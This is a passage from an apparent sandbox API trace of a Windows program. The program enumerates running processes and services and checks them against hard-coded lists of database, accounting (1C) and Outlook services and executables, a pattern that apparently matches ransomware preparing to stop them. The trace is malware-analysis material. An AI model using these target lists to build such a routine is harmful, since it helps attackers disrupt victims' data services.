lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.349] lstrlenW (lpString="conhost.exe") returned 11 [0086.349] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0086.349] lstrlenW (lpString="mode.com") returned 8 [0086.349] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0086.349] CloseHandle (hObject=0x11c) returned 1 [0086.349] Sleep (dwMilliseconds=0x1f4) [0087.153] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x564e18 [0087.300] EnumServicesStatusExW (in: hSCManager=0x564e18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0087.301] GetLastError () returned 0xea [0087.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xba0) returned 0x568e78 [0087.301] EnumServicesStatusExW (in: hSCManager=0x564e18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x568e78, cbBufSize=0xba0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x568e78, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0087.301] CloseServiceHandle (hSCObject=0x564e18) returned 1 [0087.301] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0087.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0087.302] lstrlenW (lpString="AudioSrv") returned 8 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0087.302] lstrlenW (lpString="BFE") returned 3 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0087.302] lstrlenW (lpString="CryptSvc") returned 8 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0087.302] lstrlenW (lpString="CscService") returned 10 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0087.302] lstrlenW (lpString="DcomLaunch") returned 10 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0087.302] lstrlenW (lpString="Dhcp") returned 4 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0087.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0087.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0087.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0087.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0087.302] lstrlenW (lpString="Dnscache") returned 8 [0087.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0087.303] lstrlenW (lpString="DPS") returned 3 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0087.303] lstrlenW (lpString="eventlog") returned 8 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0087.303] lstrlenW (lpString="EventSystem") returned 11 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0087.303] lstrlenW (lpString="gpsvc") returned 5 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0087.303] lstrlenW (lpString="LanmanWorkstation") returned 17 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0087.303] lstrlenW (lpString="lmhosts") returned 7 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0087.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0087.303] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0087.303] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0087.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0087.303] lstrlenW (lpString="MMCSS") returned 5 [0087.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0087.304] lstrlenW (lpString="MpsSvc") returned 6 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0087.304] lstrlenW (lpString="nsi") returned 3 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0087.304] lstrlenW (lpString="PlugPlay") returned 8 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0087.304] lstrlenW (lpString="Power") returned 5 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0087.304] lstrlenW (lpString="ProfSvc") returned 7 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0087.304] lstrlenW (lpString="RpcEptMapper") returned 12 [0087.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.304] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0087.304] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0087.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0087.304] lstrlenW (lpString="RpcSs") returned 5 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0087.305] lstrlenW (lpString="SamSs") returned 5 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0087.305] lstrlenW (lpString="Schedule") returned 8 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0087.305] lstrlenW (lpString="SENS") returned 4 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0087.305] lstrlenW (lpString="ShellHWDetection") returned 16 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0087.305] lstrlenW (lpString="Spooler") returned 7 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0087.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0087.305] lstrlenW (lpString="Themes") returned 6 [0087.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0087.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0087.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0087.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0087.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0087.306] lstrlenW (lpString="UxSms") returned 5 [0087.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0087.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0087.306] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0087.306] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0087.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0087.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x568e78 | out: hHeap=0x4f0000) returned 1 [0087.306] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0087.307] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.307] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0087.308] lstrlenW (lpString="System") returned 6 [0087.308] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0087.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0087.308] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0087.308] lstrlenW (lpString="smss.exe") returned 8 [0087.308] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0087.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0087.308] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.309] lstrlenW (lpString="csrss.exe") returned 9 [0087.309] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0087.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0087.309] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0087.309] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0087.309] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0087.309] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0087.309] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0087.309] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0087.309] lstrlenW (lpString="wininit.exe") returned 11 [0087.309] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0087.309] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0087.309] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.310] lstrlenW (lpString="csrss.exe") returned 9 [0087.310] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0087.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0087.310] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0087.310] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0087.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0087.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0087.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0087.310] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0087.310] lstrlenW (lpString="winlogon.exe") returned 12 [0087.310] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0087.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0087.310] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0087.310] lstrlenW (lpString="services.exe") returned 12 [0087.310] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0087.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0087.311] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0087.311] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0087.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0087.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0087.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0087.311] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0087.311] lstrlenW (lpString="lsass.exe") returned 9 [0087.311] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0087.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0087.311] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0087.311] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0087.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0087.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0087.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0087.311] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0087.311] lstrlenW (lpString="lsm.exe") returned 7 [0087.311] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0087.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0087.311] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0087.311] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0087.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0087.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0087.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0087.312] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.312] lstrlenW (lpString="svchost.exe") returned 11 [0087.312] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0087.312] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.312] lstrlenW (lpString="svchost.exe") returned 11 [0087.312] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0087.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0087.312] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 